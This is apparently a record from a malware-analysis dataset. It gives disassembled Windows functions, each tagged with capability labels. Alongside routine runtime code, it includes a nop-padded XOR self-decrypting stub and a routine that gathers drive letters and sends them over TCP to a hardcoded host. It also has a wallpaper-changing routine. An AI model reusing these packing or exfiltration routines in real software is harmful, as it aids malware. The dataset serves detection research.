joyce8/EMBER2024-capa huggingface dataset:
Function at 0x478333
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x496c90
push 0x496c88
push str.FlsAlloc
push 0x1e
call fcn.004781a0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x478367
push dword [ebp + 8]
mov ecx, esi
call dword [0x48f318]
call esi
jmp 0x47836d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4783b1
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x496ca0
push 0x496c98
push str.FlsGetValue
push 0x20
call fcn.004781a0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4783e8
push dword [ebp + 8]
mov ecx, esi
call dword [0x48f318]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x47a22c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4afeb0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x47a26c
cmp byte [ebx], 0xa
jne 0x47a26c
or byte [eax + edi + 0x28], 4
jmp 0x47a271
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x47a36f
mov al, byte [edx]
cmp al, 0x1a
je 0x47a351
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x47a2a0
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x47a2c5
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x47a2cf
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x47a282
jmp 0x47a36f
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47a34c
cmp dword [ebp - 0xc], 0
je 0x47a34c
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4afeb0]
test byte [eax + edi + 0x28], 0x48
je 0x47a326
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x47a311
mov byte [esi], dl
jmp 0x47a322
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4afeb0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x47a36f
cmp byte [ebp - 1], 0xa
jne 0x47a335
cmp esi, ebx
jne 0x47a335
mov byte [esi], 0xa
jmp 0x47a36e
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00478ea0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x47a36f
mov byte [esi], 0xd
jmp 0x47a36e
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4afeb0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x47a36b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x47a36f
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x47a378
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4afeb0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x47a3bb
cmp word [esi], dx
jne 0x47a3bb
or byte [edi + eax + 0x28], 4
jmp 0x47a3c0
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x47a513
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x47a4f3
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x47a402
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x47a438
cmp eax, edx
jae 0x47a444
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x47a3da
jmp 0x47a513
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47a4ef
cmp dword [ebp - 0x14], 0
je 0x47a4ef
mov eax, dword [ebx*4 + 0x4afeb0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x47a4c7
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x47a490
mov word [esi], cx
jmp 0x47a4c3
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4afeb0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4afeb0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4afeb0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x47a513
pop ebx
cmp word [ebp - 4], bx
jne 0x47a4d8
cmp esi, dword [ebp + 0xc]
jne 0x47a4d8
mov word [esi], bx
jmp 0x47a510
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00478ea0
add esp, 0x10
cmp word [ebp - 4], bx
je 0x47a513
push 0xd
jmp 0x47a50c
mov ecx, dword [ebx*4 + 0x4afeb0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x47a50a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x47a513
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x47e4f1
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4ac110]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x47e53c
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0047e690
test al, al
jne 0x47e536
sub edx, 2
cmp edx, edi
jne 0x47e51c
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x47e55e
lea eax, [edi + 2]
cmp edx, eax
je 0x47e55e
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0047e43d
add esp, 0x10
jmp 0x47e658
push esi
lea ecx, [ebp - 0x255]
call fcn.0047e690
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x47e5a1
push dword [ebp - 0x25c]
jmp 0x47e54e
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x47e5de
cmp word [ebp - 0x226], 0
je 0x47e5ff
cmp word [ebp - 0x226], ax
jne 0x47e5de
cmp word [ebp - 0x224], 0
je 0x47e5ff
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0047e43d
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x47e64b
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x47e5b8
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x47e633
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x47e658
push 0x47e26d
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004850e0
add esp, 0x10
jmp 0x47e628
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00457138
leave
ret

Function at 0x47ef7c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x47ef8d
pop esi
ret
push ebx
push edi
push esi
call fcn.0047ef45
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00479023
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x47efb5
push ebx
push esi
push edi
call fcn.004599b0
add esp, 0xc
push 0
call fcn.00476eb9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x47f379
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047efca
Function at 0x486150
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d99d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x4ac110]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
cmp dword [edi], 0
je 0x48631e
cmp dword [edi + 4], 0
je 0x48631e
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x48631e
cmp dword [ebp + 0x14], 0
je 0x48631e
push 0x491b98
push eax
call fcn.00465cac
add esp, 8
mov dword [ebp + 8], eax
test eax, eax
jne 0x4861cd
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00485d10
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
call fcn.00486880
add esp, 0xc
mov ebx, dword [eax]
mov dword [eax], 0
mov dword [ebp - 0x14], ebx
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
test ecx, ecx
je 0x48620f
mov eax, dword [ecx]
push 1
call dword [eax]
test ebx, ebx
jne 0x486218
lea edi, [ebx - 5]
jmp 0x48624e
mov esi, dword [ebp + 0xc]
mov ecx, ebx
mov edx, dword [ebx]
movzx eax, byte [esi]
push eax
call dword [edx + 0xc]
mov eax, dword [ebx]
mov ecx, ebx
push dword [esi + 4]
call dword [eax + 8]
push dword [edi + 4]
mov eax, dword [ebx]
mov ecx, ebx
push dword [edi]
call dword [eax + 4]
mov eax, dword [ebx]
mov ecx, ebx
push 0
push dword [ebp + 0x14]
call dword [eax + 0x14]
mov edi, eax
test edi, edi
je 0x48625b
test ebx, ebx
je 0x4862fd
jmp 0x4862f5
push 0x400
call fcn.00456c8d
mov esi, eax
mov dword [ebp - 0x28], esi
lea edi, [esi + 0x400]
push edi
push esi
mov dword [ebp - 0x20], edi
call fcn.00485cf0
mov dword [ebp - 0x24], edi
push dword [ebp + 8]
mov byte [ebp - 4], 2
push 0x400
push 1
push esi
call fcn.0046bcd1
mov edi, eax
add esp, 0x1c
test edi, edi
je 0x4862c7
nop word [eax + eax]
mov edx, dword [ebx]
mov ecx, ebx
push edi
push esi
call dword [edx + 0x18]
cmp eax, edi
jne 0x486319
push dword [ebp + 8]
mov eax, dword [ebp - 0x20]
sub eax, esi
push eax
push 1
push esi
call fcn.0046bcd1
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4862a0
xor edi, edi
test esi, esi
je 0x4862f5
mov eax, dword [ebp - 0x20]
sub eax, esi
cmp eax, 0x1000
jb 0x4862eb
mov ecx, dword [esi - 4]
add eax, 0x23
sub esi, ecx
add esi, 0xfffffffc
cmp esi, 0x1f
ja 0x486335
mov esi, ecx
push eax
push esi
call fcn.00456cbd
add esp, 8
mov edx, dword [ebx]
mov ecx, ebx
push 1
call dword [edx]
lea ecx, [ebp - 0x1c]
call fcn.00485d30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or edi, 0xffffffff
jmp 0x4862c9
mov eax, 0xfffffffe
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0045c13e
int3
Function at 0x486ff0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push esi
test ecx, ecx
je 0x487081
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x487081
xor dl, dl
xor eax, eax
test esi, esi
je 0x48707c
cmp esi, 0x20
jb 0x487074
mov edx, esi
xorps xmm2, xmm2
and edx, 0xffffffe0
xorps xmm1, xmm1
nop
movups xmm0, xmmword [eax + ecx]
pxor xmm2, xmm0
movups xmm0, xmmword [eax + ecx + 0x10]
add eax, 0x20
pxor xmm1, xmm0
cmp eax, edx
jb 0x487020
pxor xmm1, xmm2
movaps xmm0, xmm1
psrldq xmm0, 8
pxor xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
pxor xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 2
pxor xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 1
pxor xmm1, xmm0
movd edx, xmm1
cmp eax, esi
jae 0x48707c
xor dl, byte [eax + ecx]
inc eax
cmp eax, esi
jb 0x487074
mov al, dl
pop esi
pop ebp
ret
mov al, byte [0x4acb90]
pop esi
pop ebp
ret

Function at 0x487390
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx + 0x1c]
test eax, eax
jne 0x48739e
pop ebp
ret 8
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.0046bcd1
add esp, 0x10
pop ebp
ret 8

Function at 0x4874b0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00457190
mov eax, dword [0x4ac110]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1004]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0x1000
push 0
push eax
call fcn.00459f30
push esi
push edi
push dword [ebx*4 + 0x4acc9c]
lea eax, [ebp - 0x1004]
push 0x49ef20
push 0x1000
push eax
call fcn.004875d0
add esp, 0x24
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00457138
mov esp, ebp
pop ebp
ret

Function at 0x487720
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x48774d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x48774d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x56e04629
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x44e673b8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401110
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401122
mov eax, dword [0x41b08b]
shl eax, 2
mov dword [0x41b08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.0040d614
pop edx
call fcn.0040c91c
call fcn.0040d618
push 0
call fcn.0040f740
pop ecx
push 0x41b034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x41b093], eax
push 0
jmp fcn.00416f54

Function at 0x4051a8
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
lea eax, [ebp - 4]
push eax
call sub.WININET.DLL_InternetGetConnectedState
mov dword [ebp - 8], eax
test byte [ebp - 4], 0x20
je 0x4051c6
xor eax, eax
jmp 0x4051d0
cmp dword [ebp - 8], 0
setne al
and eax, 1
pop ecx
pop ecx
pop ebp
ret

Function at 0x405284
Capabilities:
Change the wallpaper
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
lea eax, [ebp - 0x108]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov dword [ebp - 4], eax
push str.pac001_
lea edx, [ebp - 0x108]
push edx
call fcn.0040e7b8
add esp, 8
push str.wallpaper.jpg
lea ecx, [ebp - 0x108]
push ecx
call fcn.0040e7b8
add esp, 8
push 3
lea eax, [ebp - 0x108]
push eax
push 0
push 0x14
call sub.USER32.DLL_SystemParametersInfoA
test eax, eax
setne dl
and edx, 1
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x405fdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetFileAttributesA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405ff6
xor eax, eax
pop ecx
pop ebp
ret
test byte [ebp - 4], 0x10
setne al
and eax, 1
pop ecx
pop ebp
ret

Function at 0x406248
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push 0x64
call fcn.0040c594
pop ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], 1
call sub.KERNEL32.DLL_GetLogicalDrives
mov dword [ebp - 0xc], eax
mov eax, dword [0x438189]
mov dword [ebp - 0x10], eax
mov edx, dword [0x43818d]
mov dword [ebp - 0x14], edx
push 0x64
push 0
push dword [ebp - 4]
call fcn.0040e714
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0xc]
and eax, dword [ebp - 8]
je 0x4062e2
mov edx, dword [ebp - 0x20]
add edx, 0x41
push edx
push 0x4402da
lea ecx, [ebp - 0x10]
push ecx
call sub.USER32.DLL_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call fcn.0040e7b8
add esp, 8
push 0x4402c2
push dword [ebp - 4]
call fcn.0040e7b8
add esp, 8
xor edx, edx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
mov byte [ebp + ecx - 0x10], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x4062d1
shl dword [ebp - 8], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1a
jl 0x40628d
push 0x13bb
push dword [ebp - 4]
push 0x447814
call fcn.004063bc
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x4063bc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
mov eax, 0x44078c
call fcn.0040eaa0
mov word [ebp - 0x62], 0x101
lea edx, [ebp - 0x200]
push edx
mov cx, word [ebp - 0x62]
push ecx
call sub.WSOCK32.DLL_WSAStartup
mov word [ebp - 0x4c], 8
lea eax, [ebp - 8]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x40]
push 0x447814
lea edx, [ebp - 0x20]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x40], 4
lea ecx, [ebp - 0x20]
push ecx
lea eax, [ebp - 0x38]
push eax
call fcn.0040662c
add esp, 8
lea edx, [ebp - 0x38]
push edx
add dword [ebp - 0x40], 4
call fcn.00403012
pop ecx
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x6c], eax
sub dword [ebp - 0x40], 4
push 2
lea ecx, [ebp - 0x38]
push ecx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x40], 4
push 2
lea eax, [ebp - 0x20]
push eax
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x40]
push 2
lea edx, [ebp - 8]
push edx
call fcn.00402f7a
add esp, 8
cmp dword [ebp - 0x6c], 0
jne 0x40648a
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x68], eax
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40654c
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
jne 0x4064bf
push dword [ebp - 0x70]
call sub.WSOCK32.DLL_closesocket
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x68], eax
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40654c
mov word [ebp - 0x210], 2
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [ebp - 0x20c], ecx
mov ax, word [ebp + 0x10]
push eax
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x20e], ax
push 0x10
lea edx, [ebp - 0x210]
push edx
push dword [ebp - 0x70]
call sub.WSOCK32.DLL_connect
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffff
jne 0x406521
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x68], eax
push dword [ebp - 0x70]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40654c
push 0
push dword [ebp + 0xc]
call fcn.0040e824
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp - 0x70]
call sub.WSOCK32.DLL_send
push dword [ebp - 0x70]
call sub.WSOCK32.DLL_closesocket
mov al, 1
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40662c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
mov eax, 0x4408a0
call fcn.0040eaa0
push 0x44864c
push 2
call sub.WSOCK32.DLL_WSAStartup
push dword [ebp + 0xc]
call fcn.00403012
pop ecx
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4066ba
mov word [ebp - 0x24], 8
lea edx, [ebp - 8]
push edx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x18]
push 0
push dword [ebp + 8]
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x18], 4
mov eax, dword [ebp + 8]
mov word [ebp - 0x24], 0x14
push eax
dec dword [ebp - 0x18]
push 2
lea edx, [ebp - 8]
push edx
call fcn.00402f7a
add esp, 8
pop eax
mov word [ebp - 0x24], 8
add dword [ebp - 0x18], 4
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x406747
mov ecx, dword [ebp - 0x38]
movsx eax, word [ecx + 0xa]
push eax
mov edx, dword [ebp - 0x38]
mov ecx, dword [edx + 0xc]
push dword [ecx]
push 0x4487e0
call fcn.0040e6a4
add esp, 0xc
mov word [ebp - 0x24], 0x20
lea eax, [ebp - 0x10]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x18]
push dword [0x4487e0]
call sub.WSOCK32.DLL_inet_ntoa
push eax
push dword [ebp + 8]
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x18], 4
mov eax, dword [ebp + 8]
mov word [ebp - 0x24], 0x2c
push eax
dec dword [ebp - 0x18]
push 2
lea edx, [ebp - 0x10]
push edx
call fcn.00402f7a
add esp, 8
pop eax
mov word [ebp - 0x24], 0x20
add dword [ebp - 0x18], 4
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x406747
mov esp, ebp
pop ebp
ret

Function at 0x406900
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push esi
push edi
mov eax, 0x44095c
call fcn.0040eaa0
mov esi, 0x4381d4
lea edi, [ebp - 0x130]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x130]
push eax
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
mov word [ebp - 0x1c], 8
lea edx, [ebp - 8]
push edx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x10]
lea ecx, [ebp - 0x130]
push ecx
push dword [ebp + 8]
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x10], 4
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x14
push eax
dec dword [ebp - 0x10]
push 2
lea edx, [ebp - 8]
push edx
call fcn.00402f7a
add esp, 8
pop eax
mov word [ebp - 0x1c], 8
add dword [ebp - 0x10], 4
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
pop edi
pop esi
mov esp, ebp
pop ebp
ret